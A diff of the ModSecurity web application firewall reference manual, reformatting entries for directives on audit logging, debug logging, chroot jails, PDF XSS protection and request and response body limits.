<literal>SecAuditLog</literal> - Description: Defines the path to the main audit log file. - Syntax: - SecAuditLog /path/to/auditlog - Example Usage: - SecAuditLog /usr/local/apache/logs/audit.log + + Description: Defines the path to the main + audit log file. + + Syntax: SecAuditLog + /path/to/auditlog + + Example Usage: SecAuditLog + /usr/local/apache/logs/audit.log + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This file is open on startup when the server - typically still runs as root. You should not allow non-root users to - have write privileges for this file or for the directory it is stored in.. - This file will be used to store the audit log entries if serial audit logging format is - used. If concurrent audit logging format is used this file will be used as an index, and - contain a record of all audit log files created. If you are planning to use Concurrent audit - logging and sending your audit log data off to a remote Console host or commercial - ModSecurity Management Appliance, then you will need to configure and use the ModSecurity - Log Collector (mlogc) and use the following format for the audit log: - - SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf" - + + Dependencies/Notes: This file is open on + startup when the server typically still runs as + root. You should not allow non-root users to have write + privileges for this file or for the directory it is stored in.. + + This file will be used to store the audit log entries if serial + audit logging format is used. If concurrent audit logging format is used + this file will be used as an index, and contain a record of all audit + log files created. If you are planning to use Concurrent audit logging + and sending your audit log data off to a remote Console host or + commercial ModSecurity Management Appliance, then you will need to + configure and use the ModSecurity Log Collector (mlogc) and use the + following format for the audit log: + + SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf"
+
<literal>SecAuditLog2</literal> - Description: Defines the path to the secondary audit log index file - when concurrent logging is enabled. See SecAuditLog2 for - more details. - Syntax: - SecAuditLog2 /path/to/auditlog2 - Example Usage: - SecAuditLog2 /usr/local/apache/logs/audit2.log + + Description: Defines the path to the + secondary audit log index file when concurrent logging is enabled. See + SecAuditLog2 for more details. + + Syntax: SecAuditLog2 + /path/to/auditlog2 + + Example Usage: SecAuditLog2 + /usr/local/apache/logs/audit2.log + Processing Phase: N/A + Scope: Any + Version: 2.1.2 - Dependencies/Notes: A main audit log must be defined via SecAuditLog before this directive may be used. Additionally, - this log is only used for replicating the main audit log index file when concurrent audit - logging is used. It will not be used for non-concurrent audit - logging. + + Dependencies/Notes: A main audit log must be + defined via SecAuditLog before this + directive may be used. Additionally, this log is only used for + replicating the main audit log index file when concurrent audit logging + is used. It will not be used for non-concurrent + audit logging.
+
<literal>SecAuditLogParts</literal> - Description: Defines which part of each transaction are going to be - recorded in audit log. Each part is assigned a single letter. If a letter appears in the - list then the equivalent part of each transactions will be recorded. See below for the list - of all parts. - Syntax: - SecAuditLogParts PARTS - Example Usage: - SecAuditLogParts ABCFHZ + + Description: Defines which part of each + transaction are going to be recorded in audit log. Each part is assigned + a single letter. If a letter appears in the list then the equivalent + part of each transactions will be recorded. See below for the list of + all parts. + + Syntax: SecAuditLogParts PARTS + + Example Usage: SecAuditLogParts ABCFHZ + Processing Phase: N/A + Scope: Any + Version: 2.0.0 + + Dependencies/Notes: At this time ModSecurity + does not log response bodies of stock Apache responses (e.g. 404), or the Server and Date response headers. + Default: ABCFHZ. - Please refer to the ModSecurity Data Formats document for a detailed description of - every available part. + + + Please refer to the ModSecurity Data Formats document for a + detailed description of every available part. + + + Available audit log parts: + + + + A - audit log header + (mandatory) + + + + B - request headers + + + + C - request body (present + only if the request body exists and ModSecurity is configured to + intercept it) + + + + D - RESERVED for + intermediary response headers, not implemented yet. + + + + E - intermediary response + body (present only if ModSecurity is configured to intercept + response bodies, and if the audit log engine is configured to record + it). Intermediary response body is the same as the actual response + body unless ModSecurity intercepts the intermediary response body, + in which case the actual response body will contain the error + message (either the Apache default error message, or the + ErrorDocument page). + + + + F - final response headers + (excluding the Date and Server headers, which are always added by + Apache in the late stage of content delivery). + + + + G - RESERVED for the actual + response body, not implemented yet. + + + + H - audit log + trailer + + + + I - This part is a + replacement for part C. It will log the same data as C in all cases + except when multipart/form-data + encoding in used. In this case it will log a fake application/x-www-form-urlencoded body + that contains the information about parameters but not about the + files. This is handy if you don't want to have (often large) files + stored in your audit logs. + + + + J - RESERVED. This part, + when implemented, will contain information about the files uploaded + using multipart/form-data encoding. + + + + K - This part contains a + full list of every rule that matched (one per line) in the order + they were matched. The rules are fully qualified and will thus show + inherited actions and default operators. Supported as of + v2.5.0 + + + + Z - final boundary, + signifies the end of the entry (mandatory) + +
+
<literal>SecAuditLogRelevantStatus</literal> - Description: Configures which response status code is to be - considered relevant for the purpose of audit logging. - Syntax: - SecAuditLogRelevantStatus REGEX - Example Usage: - SecAuditLogRelevantStatus ^(?:5|4\d[^4]) + + Description: Configures which response status + code is to be considered relevant for the purpose of audit + logging. + + Syntax: SecAuditLogRelevantStatus REGEX + + Example Usage: SecAuditLogRelevantStatus + ^(?:5|4\d[^4]) + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Must have the SecAuditEngine - set to RelevantOnly. The parameter is a regular expression. - The main purpose of this directive is to allow you to configure audit logging for only - transactions that generate the specified HTTP Response Status Code. This directive is often - used to the decrease the total size of the audit log file. Keep in mind that if this - parameter is used, then successful attacks that result in a 200 OK status code will not be - logged. + + Dependencies/Notes: Must have the + SecAuditEngine set to + RelevantOnly. The parameter is a regular + expression. + + The main purpose of this directive is to allow you to configure + audit logging for only transactions that generate the specified HTTP + Response Status Code. This directive is often used to the decrease the + total size of the audit log file. Keep in mind that if this parameter is + used, then successful attacks that result in a 200 OK status code will + not be logged.
+
<literal>SecAuditLogStorageDir</literal> - Description: Configures the storage directory where concurrent - audit log entries are to be stored. - Syntax: - SecAuditLogStorageDir /path/to/storage/dir - Example Usage: - SecAuditLogStorageDir /usr/local/apache/logs/audit + + Description: Configures the storage directory + where concurrent audit log entries are to be stored. + + Syntax: SecAuditLogStorageDir + /path/to/storage/dir + + Example Usage: SecAuditLogStorageDir + /usr/local/apache/logs/audit + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: SecAuditLogType must be set to Concurrent. The - directory must already be created before starting Apache and it must be writable by the web - server user as new files are generated at runtime. - As with all logging mechanisms, ensure that you specify a file system location that has - adequate disk space and is not on the root partition. + + Dependencies/Notes: SecAuditLogType must be + set to Concurrent. The directory must already be created before starting + Apache and it must be writable by the web server user as new files are + generated at runtime. + + As with all logging mechanisms, ensure that you specify a file + system location that has adequate disk space and is not on the root + partition.
+
<literal>SecAuditLogType</literal> - Description: Configures the type of audit logging mechanism to be - used. - Syntax: - SecAuditLogType Serial|Concurrent - Example Usage: - SecAuditLogType Serial + + Description: Configures the type of audit + logging mechanism to be used. + + Syntax: SecAuditLogType Serial|Concurrent + + Example Usage: SecAuditLogType Serial + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Must specify SecAuditLogStorageDir if you use concurrent logging. + + Dependencies/Notes: Must specify + SecAuditLogStorageDir if you use concurrent + logging. + Possible values are: + - Serial - all audit log entries will be stored in - the main audit logging file. This is more convenient for casual use but it is slower as - only one audit log entry can be written to the file at any one file. + Serial - all audit log + entries will be stored in the main audit logging file. This is more + convenient for casual use but it is slower as only one audit log + entry can be written to the file at any one file. + - Concurrent - audit log entries will be stored in - separate files, one for each transaction. Concurrent logging is the mode to use if you - are going to send the audit log data off to a remote ModSecurity Console host. + Concurrent - audit log + entries will be stored in separate files, one for each transaction. + Concurrent logging is the mode to use if you are going to send the + audit log data off to a remote ModSecurity Console host.
+
- <literal>SecCacheTransformations</literal> (Deprecated/Experimental) - Description: Controls caching of transformations. Caching is off by - default starting with 2.5.6, when it was deprecated and downgraded back to - experimental. - Syntax: - SecCacheTransformations On|Off [options] - Example Usage: - SecCacheTransformations On "minlen:64,maxlen:0" + <literal>SecCacheTransformations</literal> + (Deprecated/Experimental) + + Description: Controls caching of + transformations. Caching is off by default starting with 2.5.6, when it + was deprecated and downgraded back to experimental. + + Syntax: SecCacheTransformations On|Off + [options] + + Example Usage: SecCacheTransformations On + "minlen:64,maxlen:0" + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: N/A + First parameter: + - On - cache transformations (per transaction, per - phase) allowing identical transformations to be performed only once. (default) + On - cache transformations + (per transaction, per phase) allowing identical transformations to + be performed only once. (default) + - Off - do not cache any transformations, forcing - all transformations to be performed for each rule executed. + Off - do not cache any + transformations, forcing all transformations to be performed for + each rule executed. + The following options are allowed (comma separated): + - incremental:on|off - enabling this option will - cache every transformation instead of just the final transformation. (default: - off) + incremental:on|off - + enabling this option will cache every transformation instead of just + the final transformation. (default: off) + - maxitems:N - do not allow more than N - transformations to be cached. The cache will then be disabled. A zero value is - interpreted as "unlimited". This option may be useful to limit caching for a form with a - large number of ARGS. (default: 512) + maxitems:N - do not allow + more than N transformations to be cached. The cache will then be + disabled. A zero value is interpreted as "unlimited". This option + may be useful to limit caching for a form with a large number of + ARGS. (default: 512) + - minlen:N - do not cache the transformation if the - value's length is less than N bytes. (default: 32) + minlen:N - do not cache the + transformation if the value's length is less than N bytes. (default: + 32) + - maxlen:N - do not cache the transformation if the - value's length is more than N bytes. A zero value is interpreted as "unlimited". - (default: 1024) + maxlen:N - do not cache the + transformation if the value's length is more than N bytes. A zero + value is interpreted as "unlimited". (default: 1024)
+
<literal>SecChrootDir</literal> - Description: Configures the directory path that will be used to - jail the web server process. - Syntax: - SecChrootDir /path/to/chroot/dir - Example Usage: - SecChrootDir /chroot + + Description: Configures the directory path + that will be used to jail the web server process. + + Syntax: SecChrootDir + /path/to/chroot/dir + + Example Usage: SecChrootDir /chroot + Processing Phase: N/A + Scope: Main + Version: 2.0.0 - Dependencies/Notes: This feature is not available on Windows - builds. The internal chroot functionality provided by ModSecurity works great for simple - setups. One example of a simple setup is Apache serving static files only, or running - scripts using modules.builds. Some problems you might encounter with more complex - setups: + + Dependencies/Notes: This feature is not + available on Windows builds. The internal chroot functionality provided + by ModSecurity works great for simple setups. One example of a simple + setup is Apache serving static files only, or running scripts using + modules.builds. Some problems you might encounter with more complex + setups: + - DNS lookups do not work (this is because this feature requires a shared library that - is loaded on demand, after chroot takes place). + DNS lookups do not work (this is because this feature requires + a shared library that is loaded on demand, after chroot takes + place). + - You cannot send email from PHP because it uses sendmail and sendmail is outside the - jail. + You cannot send email from PHP because it uses sendmail and + sendmail is outside the jail. + In some cases Apache graceful (reload) no longer works. - You should be aware that the internal chroot feature might not be 100% reliable. Due to - the large number of default and third-party modules available for the Apache web server, it - is not possible to verify the internal chroot works reliably with all of them. A module, - working from within Apache, can do things that make it easy to break out of the jail. In - particular, if you are using any of the modules that fork in the module initialisation phase - (e.g. mod_fastcgi, mod_fcgid, mod_cgid), you are advised to examine each Apache process and observe its - current working directory, process root, and the list of open files. Consider what your - options are and make your own decision. + + You should be aware that the internal chroot feature might not be + 100% reliable. Due to the large number of default and third-party + modules available for the Apache web server, it is not possible to + verify the internal chroot works reliably with all of them. A module, + working from within Apache, can do things that make it easy to break out + of the jail. In particular, if you are using any of the modules that + fork in the module initialisation phase (e.g. + mod_fastcgi, mod_fcgid, + mod_cgid), you are advised to examine each Apache + process and observe its current working directory, process root, and the + list of open files. Consider what your options are and make your own + decision.
+
<literal>SecComponentSignature</literal> - Description: Appends component signature to the ModSecurity - signature. - Syntax: SecComponentSignature "COMPONENT_NAME/X.Y.Z - (COMMENT)" - Example usage: SecComponentSignature "Core - Rules/1.2.3" + + Description: Appends component signature to + the ModSecurity signature. + + Syntax: SecComponentSignature + "COMPONENT_NAME/X.Y.Z (COMMENT)" + + Example usage: SecComponentSignature + "Core Rules/1.2.3" + Processing Phase: N/A + Scope: Main + Version: 2.5.0 - Dependencies/Notes: This directive should be used to make the - presence of significant ModSecurity components known. The entire signature will be recorded - in transaction audit log. It should be used by ModSecurity module and rule set writers to - make debugging easier. + + Dependencies/Notes: This directive should be + used to make the presence of significant ModSecurity components known. + The entire signature will be recorded in transaction audit log. It + should be used by ModSecurity module and rule set writers to make + debugging easier.
+
<literal>SecContentInjection</literal> - Description: Enables content injection using actions append and prepend. - Syntax: - SecContentInjection (On|Off) - Example Usage: - SecContentInjection On + + Description: Enables content injection using + actions append and prepend. + + Syntax: SecContentInjection + (On|Off) + + Example Usage: SecContentInjection + On + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: N/A
+
<literal>SecCookieFormat</literal> - Description: Selects the cookie format that will be used in the - current configuration context. - Syntax: - SecCookieFormat 0|1 - Example Usage: - SecCookieFormat 0 + + Description: Selects the cookie format that + will be used in the current configuration context. + + Syntax: SecCookieFormat 0|1 + + Example Usage: SecCookieFormat 0 + Processing Phase: N/A + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None + Possible values are: + - 0 - use version 0 (Netscape) cookies. This is - what most applications use. It is the default value. + 0 - use version 0 + (Netscape) cookies. This is what most applications use. It is the + default value. + - 1 - use version 1 cookies. + 1 - use version 1 + cookies.
+
<literal>SecDataDir</literal> - Description: Path where persistent data (e.g. IP address data, - session data, etc) is to be stored. - Syntax: - SecDataDir /path/to/dir - Example Usage: - SecDataDir /usr/local/apache/logs/data + + Description: Path where persistent data (e.g. + IP address data, session data, etc) is to be stored. + + Syntax: SecDataDir + /path/to/dir + + Example Usage: SecDataDir /usr/local/apache/logs/data + Processing Phase: N/A + Scope: Main - Dependencies/Notes: This directive is needed when initcol, setsid - an setuid are used. Must be writable by the web server user. + + Dependencies/Notes: This directive is needed + when initcol, setsid an setuid are used. Must be writable by the web + server user.
+
<literal>SecDebugLog</literal> - Description: Path to the ModSecurity debug log file. - Syntax: - SecDebugLog /path/to/modsec-debug.log - Example Usage: - SecDebugLog - /usr/local/apache/logs/modsec-debug.log + + Description: Path to the ModSecurity debug + log file. + + Syntax: SecDebugLog + /path/to/modsec-debug.log + + Example Usage: SecDebugLog + /usr/local/apache/logs/modsec-debug.log + Processing Phase: N/A + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None
+
<literal>SecDebugLogLevel</literal> - Description: Configures the verboseness of the debug log - data. - Syntax: - SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9 - Example Usage: - SecDebugLogLevel 4 + + Description: Configures the verboseness of + the debug log data. + + Syntax: SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9 + + Example Usage: SecDebugLogLevel 4 + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Levels 1 - 3 - are always sent to the Apache error log. Therefore you can always use level 0 as the default logging level in production. Level 5 is useful when debugging. It is not advisable to use higher - logging levels in production as excessive logging can slow down server significantly. + + Dependencies/Notes: Levels 1 - 3 are always sent to the Apache error log. + Therefore you can always use level 0 + as the default logging level in production. Level 5 is useful when debugging. It is not + advisable to use higher logging levels in production as excessive + logging can slow down server significantly. + Possible values are: + 0 - no logging. + - 1 - errors (intercepted requests) only. + 1 - errors (intercepted + requests) only. + 2 - warnings. + 3 - notices. + - 4 - details of how transactions are - handled. + 4 - details of how + transactions are handled. + - 5 - as above, but including information about - each piece of information handled. + 5 - as above, but including + information about each piece of information handled. + - 9 - log everything, including very detailed - debugging information. + 9 - log everything, + including very detailed debugging information.
+
<literal>SecDefaultAction</literal> - Description: Defines the default action to take on a rule - match. - Syntax: - SecDefaultAction action1,action2,action3 - Example Usage: - SecDefaultAction - log,auditlog,deny,status:403,phase:2 + + Description: Defines the default action to + take on a rule match. + + Syntax: SecDefaultAction + action1,action2,action3 + + Example Usage: SecDefaultAction + log,auditlog,deny,status:403,phase:2 + Processing Phase: Any + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Rules following a SecDefaultAction directive will inherit this setting unless a specific action - is specified for an individual rule or until another SecDefaultAction is - specified. Take special note that in the logging disruptive actions are not allowed, but - this can inadvertently be inherited using a disruptive action in SecDefaultAction. - The default value is minimal (differing from previous versions): + + Dependencies/Notes: Rules following a + SecDefaultAction directive will inherit this setting + unless a specific action is specified for an individual rule or until + another SecDefaultAction is specified. Take special + note that in the logging disruptive actions are not allowed, but this + can inadvertently be inherited using a disruptive action in + SecDefaultAction. + + The default value is minimal (differing from previous + versions): + SecDefaultAction phase:2,log,auditlog,pass + - SecDefaultAction must specify a disruptive action and a processing - phase and cannot contain metadata actions. + SecDefaultAction must specify a disruptive + action and a processing phase and cannot contain metadata + actions. + - SecDefaultAction is not inherited across - configuration contexts. (For an example of why this may be a problem for you, read the - following ModSecurity Blog entry http://blog.modsecurity.org/2008/07/modsecurity-tri.html). + SecDefaultAction is not + inherited across configuration contexts. (For an example of why this + may be a problem for you, read the following ModSecurity Blog entry + http://blog.modsecurity.org/2008/07/modsecurity-tri.html).
+
<literal>SecGeoLookupDb</literal> - Description: Defines the path to the geographical database - file. - Syntax: - SecGeoLookupDb /path/to/db - Example Usage: - SecGeoLookupDb /usr/local/geo/data/GeoLiteCity.dat + + Description: Defines the path to the + geographical database file. + + Syntax: SecGeoLookupDb /path/to/db + + Example Usage: SecGeoLookupDb + /usr/local/geo/data/GeoLiteCity.dat + Processing Phase: N/A + Scope: Any + Version: 2.5.0 - Dependencies/Notes: Check out maxmind.com for - free database files. + + Dependencies/Notes: Check out + maxmind.com for free database files.
+
<literal>SecGuardianLog</literal> - Description: Configuration directive to use the httpd-guardian - script to monitor for Denial of Service (DoS) attacks. - Syntax: - SecGuardianLog |/path/to/httpd-guardian - Example Usage: - SecGuardianLog - |/usr/local/apache/bin/httpd-guardian + + Description: Configuration directive to use + the httpd-guardian script to monitor for Denial of Service (DoS) + attacks. + + Syntax: SecGuardianLog |/path/to/httpd-guardian + + Example Usage: SecGuardianLog + |/usr/local/apache/bin/httpd-guardian + Processing Phase: N/A + Scope: Main + Version: 2.0.0 - Dependencies/Notes: By default httpd-guardian will defend against - clients that send more than 120 requests in a minute, or more than 360 requests in five - minutes. - Since 1.9, ModSecurity supports a new directive, SecGuardianLog, that is designed to - send all access data to another program using the piped logging feature. Since Apache is - typically deployed in a multi-process fashion, making information sharing difficult, the - idea is to deploy a single external process to observe all requests in a stateful manner, - providing additional protection. - Development of a state of the art external protection tool will be a focus of subsequent - ModSecurity releases. However, a fully functional tool is already available as part of the - Apache httpd tools - project. The tool is called httpd-guardian and can be used to defend against - Denial of Service attacks. It uses the blacklist tool (from the same project) to interact - with an iptables-based (Linux) or pf-based (*BSD) firewall, dynamically blacklisting the - offending IP addresses. It can also interact with SnortSam (http://www.snortsam.net). - Assuming httpd-guardian is already configured (look into the source code for the detailed - instructions) you only need to add one line to your Apache configuration to deploy - it: + + Dependencies/Notes: By default httpd-guardian + will defend against clients that send more than 120 requests in a + minute, or more than 360 requests in five minutes. + + Since 1.9, ModSecurity supports a new directive, SecGuardianLog, + that is designed to send all access data to another program using the + piped logging feature. Since Apache is typically deployed in a + multi-process fashion, making information sharing difficult, the idea is + to deploy a single external process to observe all requests in a + stateful manner, providing additional protection. + + Development of a state of the art external protection tool will be + a focus of subsequent ModSecurity releases. However, a fully functional + tool is already available as part of the Apache httpd tools + project. The tool is called httpd-guardian and can be used to + defend against Denial of Service attacks. It uses the blacklist tool + (from the same project) to interact with an iptables-based (Linux) or + pf-based (*BSD) firewall, dynamically blacklisting the offending IP + addresses. It can also interact with SnortSam (http://www.snortsam.net). + Assuming httpd-guardian is already configured (look into the source code + for the detailed instructions) you only need to add one line to your + Apache configuration to deploy it: + SecGuardianLog |/path/to/httpd-guardian
+
<literal>SecMarker</literal> - Description: Adds a fixed rule marker in the ruleset to be used as - a target in a skipAfter action. A SecMarker directive - essentially creates a rule that does nothing and whose only purpose it to carry the given - ID. - Syntax: - SecMarker ID - Example Usage: - SecMarker 9999 + + Description: Adds a fixed rule marker in the + ruleset to be used as a target in a skipAfter action. + A SecMarker directive essentially creates a rule that + does nothing and whose only purpose it to carry the given ID. + + Syntax: SecMarker + ID + + Example Usage: SecMarker 9999 + Processing Phase: Any + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None - - SecRule REQUEST_URI "^/$" \ + + SecRule REQUEST_URI "^/$" \ "chain,t:none,t:urlDecode,t:lowercase,t:normalisePath,skipAfter:99" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent \ @@ -850,432 +1343,662 @@ SecRule &REQUEST_HEADERS:Host "@eq 0" \ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ "log,deny,log,status:400,id:15,msg:'Request Missing an Accept Header'" -SecMarker 99 - +SecMarker 99
+
<literal>SecPdfProtect</literal> - Description: Enables the PDF XSS protection functionality. Once - enabled access to PDF files is tracked. Direct access attempts are redirected to links that - contain one-time tokens. Requests with valid tokens are allowed through unmodified. Requests - with invalid tokens are also allowed through but with forced download of the PDF files. This - implementation uses response headers to detect PDF files and thus can be used with - dynamically generated PDF files that do not have the .pdf extension in - the request URI. - Syntax: - SecPdfProtect On|Off - Example Usage: - SecPdfProtect On + + Description: Enables the PDF XSS protection + functionality. Once enabled access to PDF files is tracked. Direct + access attempts are redirected to links that contain one-time tokens. + Requests with valid tokens are allowed through unmodified. Requests with + invalid tokens are also allowed through but with forced download of the + PDF files. This implementation uses response headers to detect PDF files + and thus can be used with dynamically generated PDF files that do not + have the .pdf extension in the request URI. + + Syntax: SecPdfProtect On|Off + + Example Usage: SecPdfProtect On + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None
+
<literal>SecPdfProtectMethod</literal> - Description: Configure desired protection method to be used when - requests for PDF files are detected. Possible values are TokenRedirection - and ForcedDownload. The token redirection approach will attempt to - redirect with tokens where possible. This allows PDF files to continue to be opened inline - but only works for GET requests. Forced download always causes PDF files to be delivered as - opaque binaries and attachments. The latter will always be used for non-GET requests. Forced - download is considered to be more secure but may cause usability problems for users ("This - PDF won't open anymore!"). - Syntax: - SecPdfProtectMethod method - Example Usage: - SecPdfProtectMethod TokenRedirection + + Description: Configure desired protection + method to be used when requests for PDF files are detected. Possible + values are TokenRedirection and + ForcedDownload. The token redirection approach will + attempt to redirect with tokens where possible. This allows PDF files to + continue to be opened inline but only works for GET requests. Forced + download always causes PDF files to be delivered as opaque binaries and + attachments. The latter will always be used for non-GET requests. Forced + download is considered to be more secure but may cause usability + problems for users ("This PDF won't open anymore!"). + + Syntax: SecPdfProtectMethod method + + Example Usage: SecPdfProtectMethod TokenRedirection + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None + Default: - TokenRedirection + TokenRedirection
+
<literal>SecPdfProtectSecret</literal> - Description: Defines the secret that will be used to construct - one-time tokens. You should use a reasonably long value for the secret (e.g. 16 characters - is good). Once selected the secret should not be changed as it will break the tokens that - were sent prior to change. But it's not a big deal even if you change it. It will just force - download of PDF files with tokens that were issued in the last few seconds. - Syntax: - SecPdfProtectSecret secret - Example Usage: - SecPdfProtectSecret MyRandomSecretString + + Description: Defines the secret that will be + used to construct one-time tokens. You should use a reasonably long + value for the secret (e.g. 16 characters is good). Once selected the + secret should not be changed as it will break the tokens that were sent + prior to change. But it's not a big deal even if you change it. It will + just force download of PDF files with tokens that were issued in the + last few seconds. + + Syntax: SecPdfProtectSecret secret + + Example Usage: SecPdfProtectSecret + MyRandomSecretString + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None
+
<literal>SecPdfProtectTimeout</literal> - Description: Defines the token timeout. After token expires it can - no longer be used to allow access to PDF file. Request will be allowed through but the PDF - will be delivered as attachment. - Syntax: - SecPdfProtectTimeout timeout - Example Usage: - SecPdfProtectTimeout 10 + + Description: Defines the token timeout. After + token expires it can no longer be used to allow access to PDF file. + Request will be allowed through but the PDF will be delivered as + attachment. + + Syntax: SecPdfProtectTimeout timeout + + Example Usage: SecPdfProtectTimeout 10 + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None - Default: - 10 + + Default: 10
+
<literal>SecPdfProtectTokenName</literal> - Description: Defines the name of the token. The only reason you - would want to change the name of the token is if you wanted to hide the fact you are running - ModSecurity. It's a good reason but it won't really help as the adversary can look into the - algorithm used for PDF protection and figure it out anyway. It does raise the bar slightly - so go ahead if you want to. - Syntax: - SecPdfProtectTokenName name - Example Usage: - SecPdfProtectTokenName PDFTOKEN + + Description: Defines the name of the token. + The only reason you would want to change the name of the token is if you + wanted to hide the fact you are running ModSecurity. It's a good reason + but it won't really help as the adversary can look into the algorithm + used for PDF protection and figure it out anyway. It does raise the bar + slightly so go ahead if you want to. + + Syntax: SecPdfProtectTokenName name + + Example Usage: SecPdfProtectTokenName PDFTOKEN + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None - Default: - PDFTOKEN + + Default: PDFTOKEN
+
<literal>SecRequestBodyAccess</literal> - Description: Configures whether request bodies will be buffered and - processed by ModSecurity by default. - Syntax: - SecRequestBodyAccess On|Off - Example Usage: - SecRequestBodyAccess On + + Description: Configures whether request + bodies will be buffered and processed by ModSecurity by default. + + Syntax: SecRequestBodyAccess On|Off + + Example Usage: SecRequestBodyAccess On + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive is required if you plan to - inspect POST_PAYLOAD. This directive must be used along with the - "phase:2" processing phase action and REQUEST_BODY variable/location. If - any of these 3 parts are not configured, you will not be able to inspect the request - bodies. + + Dependencies/Notes: This directive is + required if you plan to inspect POST_PAYLOAD. This + directive must be used along with the "phase:2" processing phase action + and REQUEST_BODY variable/location. If any of these 3 + parts are not configured, you will not be able to inspect the request + bodies. + Possible values are: + - On - access request bodies. + On - access request + bodies. + - Off - do not attempt to access request - bodies. + Off - do not attempt to + access request bodies.
+
<literal>SecRequestBodyLimit</literal> - Description: Configures the maximum request body size ModSecurity - will accept for buffering. - Syntax: - SecRequestBodyLimit NUMBER_IN_BYTES - Example Usage: - SecRequestBodyLimit 134217728 + + Description: Configures the maximum request + body size ModSecurity will accept for buffering. + + Syntax: SecRequestBodyLimit NUMBER_IN_BYTES + + Example Usage: SecRequestBodyLimit 134217728 + Scope: Any + Version: 2.0.0 - Dependencies/Notes: 131072 KB (134217728 bytes) is the default - setting. Anything over this limit will be rejected with status code 413 Request Entity Too - Large. There is a hard limit of 1 GB. + + Dependencies/Notes: 131072 KB (134217728 + bytes) is the default setting. Anything over this limit will be rejected + with status code 413 Request Entity Too Large. There is a hard limit of + 1 GB.
+
<literal>SecRequestBodyNoFilesLimit</literal> - Description: Configures the maximum request body size ModSecurity - will accept for buffering, excluding the size of files being transported in the request. - This directive comes handy to further reduce susceptibility to DoS attacks when someone is - sending request bodies of very large sizes. Web applications that require file uploads must - configure SecRequestBodyLimit to a high value. Since large files are - streamed to disk file uploads will not increase memory consumption. However, it's still - possible for someone to take advantage of a large request body limit and send non-upload - requests with large body sizes. This directive eliminates that loophole. - Syntax: - SecRequestBodyNoFilesLimit NUMBER_IN_BYTES - Example Usage: - SecRequestBodyLimit 131072 + + Description: Configures the maximum request + body size ModSecurity will accept for buffering, excluding the size of + files being transported in the request. This directive comes handy to + further reduce susceptibility to DoS attacks when someone is sending + request bodies of very large sizes. Web applications that require file + uploads must configure SecRequestBodyLimit to a high + value. Since large files are streamed to disk file uploads will not + increase memory consumption. However, it's still possible for someone to + take advantage of a large request body limit and send non-upload + requests with large body sizes. This directive eliminates that + loophole. + + Syntax: SecRequestBodyNoFilesLimit + NUMBER_IN_BYTES + + Example Usage: SecRequestBodyLimit 131072 + Scope: Any + Version: 2.5.0 - Dependencies/Notes: 1 MB (1048576 bytes) is the default setting. - This value is very conservative. For most applications you should be able to reduce it down - to 128 KB or lower. Anything over the limit will be rejected with status code 413 - Request Entity Too Large. There is a hard limit of 1 GB. + + Dependencies/Notes: 1 MB (1048576 bytes) is + the default setting. This value is very conservative. For most + applications you should be able to reduce it down to 128 KB or lower. + Anything over the limit will be rejected with status code 413 + Request Entity Too Large. There is a hard limit of 1 + GB.
+
<literal>SecRequestBodyInMemoryLimit</literal> - Description: Configures the maximum request body size ModSecurity - will store in memory. - Syntax: - SecRequestBodyInMemoryLimit NUMBER_IN_BYTES - Example Usage: - SecRequestBodyInMemoryLimit 131072 + + Description: Configures the maximum request + body size ModSecurity will store in memory. + + Syntax: SecRequestBodyInMemoryLimit + NUMBER_IN_BYTES + + Example Usage: SecRequestBodyInMemoryLimit 131072 + Processing Phase: N/A + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None + By default the limit is 128 KB: + # Store up to 128 KB in memory SecRequestBodyInMemoryLimit 131072
+
<literal>SecResponseBodyLimit</literal> - Description: Configures the maximum response body size that will be - accepted for buffering. - Syntax: - SecResponseBodyLimit NUMBER_IN_BYTES - Example Usage: - SecResponseBodyLimit 524228 + + Description: Configures the maximum response + body size that will be accepted for buffering. + + Syntax: SecResponseBodyLimit NUMBER_IN_BYTES + + Example Usage: SecResponseBodyLimit 524228 + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Anything over this limit will be rejected with - status code 500 Internal Server Error. This setting will not affect the responses with MIME - types that are not marked for buffering. There is a hard limit of 1 GB. + + Dependencies/Notes: Anything over this limit + will be rejected with status code 500 Internal Server Error. This + setting will not affect the responses with MIME types that are not + marked for buffering. There is a hard limit of 1 GB. + By default this limit is configured to 512 KB: + # Buffer response bodies of up to 512 KB in length SecResponseBodyLimit 524288
+
